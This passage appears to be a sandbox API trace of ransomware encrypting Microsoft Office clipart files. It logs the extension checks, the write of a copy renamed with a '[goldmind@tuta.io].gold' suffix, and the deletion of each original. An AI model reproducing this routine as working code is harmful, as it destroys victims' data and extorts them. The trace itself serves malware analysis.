Office\\CLIPART\\PUB60COR\\J0107146.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0106.972] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107146.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107146.wmf")) returned 1 [0106.973] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107146.WMF") returned 63 [0106.973] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107146.WMF") returned 63 [0106.973] lstrlenW (lpString=".doc") returned 4 [0106.973] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0106.973] lstrlenW (lpString=".docx") returned 5 [0106.973] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0106.973] lstrlenW (lpString=".pdf") returned 4 [0106.973] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0106.973] lstrlenW (lpString=".xls") returned 4 [0106.973] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0106.973] lstrlenW (lpString=".xlsx") returned 5 [0106.973] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0106.973] lstrlenW (lpString=".ppt") returned 4 [0106.973] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0106.973] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107146.WMF") returned 63 [0106.973] lstrlenW (lpString=".zip") returned 4 [0106.973] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0106.973] lstrlenW (lpString=".rar") returned 4 [0106.973] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0106.973] lstrlenW (lpString=".bz2") returned 4 [0106.973] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0106.973] lstrlenW (lpString=".7z") returned 3 [0106.973] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0106.973] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107146.WMF") returned 63 [0106.973] lstrlenW (lpString=".dbf") returned 4 [0106.973] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0106.973] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107146.WMF") returned 63 [0106.973] lstrlenW (lpString=".1cd") returned 4 [0106.973] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0106.973] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107146.WMF") returned 63 [0106.973] lstrlenW (lpString=".jpg") returned 4 [0106.973] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0106.973] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107146.WMF") returned 63 [0106.973] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107146.WMF") returned 63 [0106.973] lstrlenW (lpString=".doc") returned 4 [0106.973] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0106.973] lstrlenW (lpString=".docx") returned 5 [0106.973] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0106.973] lstrlenW (lpString=".pdf") returned 4 [0106.973] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0106.973] lstrlenW (lpString=".xls") returned 4 [0106.973] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0106.973] lstrlenW (lpString=".xlsx") returned 5 [0106.973] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0106.973] lstrlenW (lpString=".ppt") returned 4 [0106.973] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0106.973] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107146.WMF") returned 63 [0106.974] lstrlenW (lpString=".zip") returned 4 [0106.974] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0106.974] lstrlenW (lpString=".rar") returned 4 [0106.974] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0106.974] lstrlenW (lpString=".bz2") returned 4 [0106.974] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0106.974] lstrlenW (lpString=".7z") returned 3 [0106.974] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0106.974] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107146.WMF") returned 63 [0106.974] lstrlenW (lpString=".dbf") returned 4 [0106.974] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0106.974] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107146.WMF") returned 63 [0106.974] lstrlenW (lpString=".1cd") returned 4 [0106.974] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0106.974] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107146.WMF") returned 63 [0106.974] lstrlenW (lpString=".jpg") returned 4 [0106.974] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0106.974] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0106.974] lstrlenW (lpString="J0107148.WMF") returned 12 [0106.974] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107148.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107148.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0106.975] GetFileSizeEx (in: hFile=0x3ac, lpFileSize=0x315ff1c | out: lpFileSize=0x315ff1c*=20136) returned 1 [0106.975] CloseHandle (hObject=0x3ac) returned 1 [0106.975] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107148.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107148.wmf")) returned 0x20 [0106.975] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107148.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107148.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0106.975] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107148.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107148.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0106.975] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0106.975] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0106.976] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107148.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107148.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0106.976] GetLastError () returned 0x0 [0106.976] ReadFile (in: hFile=0x3ac, lpBuffer=0x3bd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesRead=0x315fed4*=0x4ea8, lpOverlapped=0x0) returned 1 [0106.978] WriteFile (in: hFile=0x394, lpBuffer=0x3bd0020*, nNumberOfBytesToWrite=0x4eb0, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesWritten=0x315fc9c*=0x4eb0, lpOverlapped=0x0) returned 1 [0106.979] ReadFile (in: hFile=0x3ac, lpBuffer=0x3bd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesRead=0x315fed4*=0x0, lpOverlapped=0x0) returned 1 [0106.979] WriteFile (in: hFile=0x394, lpBuffer=0x3bd0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesWritten=0x315fc9c*=0xec, lpOverlapped=0x0) returned 1 [0106.979] SetEndOfFile (hFile=0x394) returned 1 [0106.979] CloseHandle (hObject=0x394) returned 1 [0106.979] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0106.979] SetEndOfFile (hFile=0x3ac) returned 1 [0106.981] CloseHandle (hObject=0x3ac) returned 1 [0106.981] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107148.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0106.981] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107148.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107148.wmf")) returned 1 [0106.982] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107148.WMF") returned 63 [0106.982] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107148.WMF") returned 63 [0106.982] lstrlenW (lpString=".doc") returned 4 [0106.982] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0106.982] lstrlenW (lpString=".docx") returned 5 [0106.982] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0106.982] lstrlenW (lpString=".pdf") returned 4 [0106.982] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0106.982] lstrlenW (lpString=".xls") returned 4 [0106.982] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0106.982] lstrlenW (lpString=".xlsx") returned 5 [0106.982] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0106.982] lstrlenW (lpString=".ppt") returned 4 [0106.982] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0106.982] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107148.WMF") returned 63 [0106.982] lstrlenW (lpString=".zip") returned 4 [0106.982] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0106.982] lstrlenW (lpString=".rar") returned 4 [0106.982] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0106.982] lstrlenW (lpString=".bz2") returned 4 [0106.982] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0106.982] lstrlenW (lpString=".7z") returned 3 [0106.982] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0106.982] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107148.WMF") returned 63 [0106.982] lstrlenW (lpString=".dbf") returned 4 [0106.982] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0106.982] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107148.WMF") returned 63 [0106.982] lstrlenW (lpString=".1cd") returned 4 [0106.982] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0106.982] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107148.WMF") returned 63 [0106.982] lstrlenW (lpString=".jpg") returned 4 [0106.982] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0106.982] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107148.WMF") returned 63 [0106.982] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107148.WMF") returned 63 [0106.982] lstrlenW (lpString=".doc") returned 4 [0106.982] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0106.982] lstrlenW (lpString=".docx") returned 5 [0106.982] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0106.982] lstrlenW (lpString=".pdf") returned 4 [0106.982] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0106.982] lstrlenW (lpString=".xls") returned 4 [0106.982] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0106.982] lstrlenW (lpString=".xlsx") returned 5 [0106.982] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0106.982] lstrlenW (lpString=".ppt") returned 4 [0106.982] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0106.982] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107148.WMF") returned 63 [0106.982] lstrlenW (lpString=".zip") returned 4 [0106.982] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0106.982] lstrlenW (lpString=".rar") returned 4 [0106.982] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0106.983] lstrlenW (lpString=".bz2") returned 4 [0106.983] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0106.983] lstrlenW (lpString=".7z") returned 3 [0106.983] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0106.983] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107148.WMF") returned 63 [0106.983] lstrlenW (lpString=".dbf") returned 4 [0106.983] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0106.983] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107148.WMF") returned 63 [0106.983] lstrlenW (lpString=".1cd") returned 4 [0106.983] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0106.983] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107148.WMF") returned 63 [0106.983] lstrlenW (lpString=".jpg") returned 4 [0106.983] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0106.983] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0106.983] lstrlenW (lpString="J0107150.WMF") returned 12 [0106.983] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107150.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107150.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0106.983] GetFileSizeEx (in: hFile=0x3ac, lpFileSize=0x315ff1c | out: lpFileSize=0x315ff1c*=13456) returned 1 [0106.983] CloseHandle (hObject=0x3ac) returned 1 [0106.983] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107150.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107150.wmf")) returned 0x20 [0106.984] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107150.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107150.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0106.984] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107150.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107150.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0106.984] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0106.984] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0106.984] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107150.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107150.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0106.984] GetLastError () returned 0x0 [0106.984] ReadFile (in: hFile=0x3ac, lpBuffer=0x3bd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesRead=0x315fed4*=0x3490, lpOverlapped=0x0) returned 1 [0106.986] WriteFile (in: hFile=0x394, lpBuffer=0x3bd0020*, nNumberOfBytesToWrite=0x34a0, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesWritten=0x315fc9c*=0x34a0, lpOverlapped=0x0) returned 1 [0106.987] ReadFile (in: hFile=0x3ac, lpBuffer=0x3bd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesRead=0x315fed4*=0x0, lpOverlapped=0x0) returned 1 [0106.987] WriteFile (in: hFile=0x394, lpBuffer=0x3bd0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesWritten=0x315fc9c*=0xec, lpOverlapped=0x0) returned 1 [0106.987] SetEndOfFile (hFile=0x394) returned 1 [0106.987] CloseHandle (hObject=0x394) returned 1 [0106.987] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0106.987] SetEndOfFile (hFile=0x3ac) returned 1 [0106.989] CloseHandle (hObject=0x3ac) returned 1 [0106.989] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107150.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0106.989] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107150.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107150.wmf")) returned 1 [0106.990] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107150.WMF") returned 63 [0106.990] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107150.WMF") returned 63 [0106.990] lstrlenW (lpString=".doc") returned 4 [0106.990] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0106.990] lstrlenW (lpString=".docx") returned 5 [0106.990] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0106.990] lstrlenW (lpString=".pdf") returned 4 [0106.990] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0106.990] lstrlenW (lpString=".xls") returned 4 [0106.990] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0106.990] lstrlenW (lpString=".xlsx") returned 5 [0106.990] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0106.990] lstrlenW (lpString=".ppt") returned 4 [0106.990] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0106.990] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107150.WMF") returned 63 [0106.990] lstrlenW (lpString=".zip") returned 4 [0106.990] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0106.990] lstrlenW (lpString=".rar") returned 4 [0106.990] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0106.990] lstrlenW (lpString=".bz2") returned 4 [0106.990] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0106.990] lstrlenW (lpString=".7z") returned 3 [0106.990] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0106.990] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107150.WMF") returned 63 [0106.990] lstrlenW (lpString=".dbf") returned 4 [0106.990] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0106.990] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107150.WMF") returned 63 [0106.990] lstrlenW (lpString=".1cd") returned 4 [0106.990] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0106.990] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107150.WMF") returned 63 [0106.990] lstrlenW (lpString=".jpg") returned 4 [0106.990] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0106.990] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107150.WMF") returned 63 [0106.990] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107150.WMF") returned 63 [0106.990] lstrlenW (lpString=".doc") returned 4 [0106.990] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0106.990] lstrlenW (lpString=".docx") returned 5 [0106.990] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0106.990] lstrlenW (lpString=".pdf") returned 4 [0106.990] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0106.990] lstrlenW (lpString=".xls") returned 4 [0106.990] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0106.990] lstrlenW (lpString=".xlsx") returned 5 [0106.990] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0106.990] lstrlenW (lpString=".ppt") returned 4 [0106.990] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0106.990] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107150.WMF") returned 63 [0106.990] lstrlenW (lpString=".zip") returned 4 [0106.991] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0106.991] lstrlenW (lpString=".rar") returned 4 [0106.991] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0106.991] lstrlenW (lpString=".bz2") returned 4 [0106.991] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0106.991] lstrlenW (lpString=".7z") returned 3 [0106.991] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0106.991] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107150.WMF") returned 63 [0106.991] lstrlenW (lpString=".dbf") returned 4 [0106.991] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0106.991] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107150.WMF") returned 63 [0106.991] lstrlenW (lpString=".1cd") returned 4 [0106.991] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0106.991] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107150.WMF") returned 63 [0106.991] lstrlenW (lpString=".jpg") returned 4 [0106.991] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0106.991] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0106.991] lstrlenW (lpString="J0107152.WMF") returned 12 [0106.991] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107152.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107152.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0106.991] GetFileSizeEx (in: hFile=0x3ac, lpFileSize=0x315ff1c | out: lpFileSize=0x315ff1c*=22532) returned 1 [0106.992] CloseHandle (hObject=0x3ac) returned 1 [0106.992] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107152.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107152.wmf")) returned 0x20 [0106.992] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107152.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107152.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0106.992] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107152.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107152.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0106.992] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0106.992] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0106.992] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107152.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107152.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0106.993] GetLastError () returned 0x0 [0106.993] ReadFile (in: hFile=0x3ac, lpBuffer=0x3bd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesRead=0x315fed4*=0x5804, lpOverlapped=0x0) returned 1 [0106.994] WriteFile (in: hFile=0x394, lpBuffer=0x3bd0020*, nNumberOfBytesToWrite=0x5810, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesWritten=0x315fc9c*=0x5810, lpOverlapped=0x0) returned 1 [0106.995] ReadFile (in: hFile=0x3ac, lpBuffer=0x3bd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesRead=0x315fed4*=0x0, lpOverlapped=0x0) returned 1 [0106.995] WriteFile (in: hFile=0x394, lpBuffer=0x3bd0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesWritten=0x315fc9c*=0xec, lpOverlapped=0x0) returned 1 [0106.995] SetEndOfFile (hFile=0x394) returned 1 [0106.996] CloseHandle (hObject=0x394) returned 1 [0106.996] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0106.996] SetEndOfFile (hFile=0x3ac) returned 1 [0107.000] CloseHandle (hObject=0x3ac) returned 1 [0107.000] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107152.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0107.000] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107152.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107152.wmf")) returned 1 [0107.001] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107152.WMF") returned 63 [0107.001] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107152.WMF") returned 63 [0107.001] lstrlenW (lpString=".doc") returned 4 [0107.001] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0107.001] lstrlenW (lpString=".docx") returned 5 [0107.001] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0107.001] lstrlenW (lpString=".pdf") returned 4 [0107.001] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 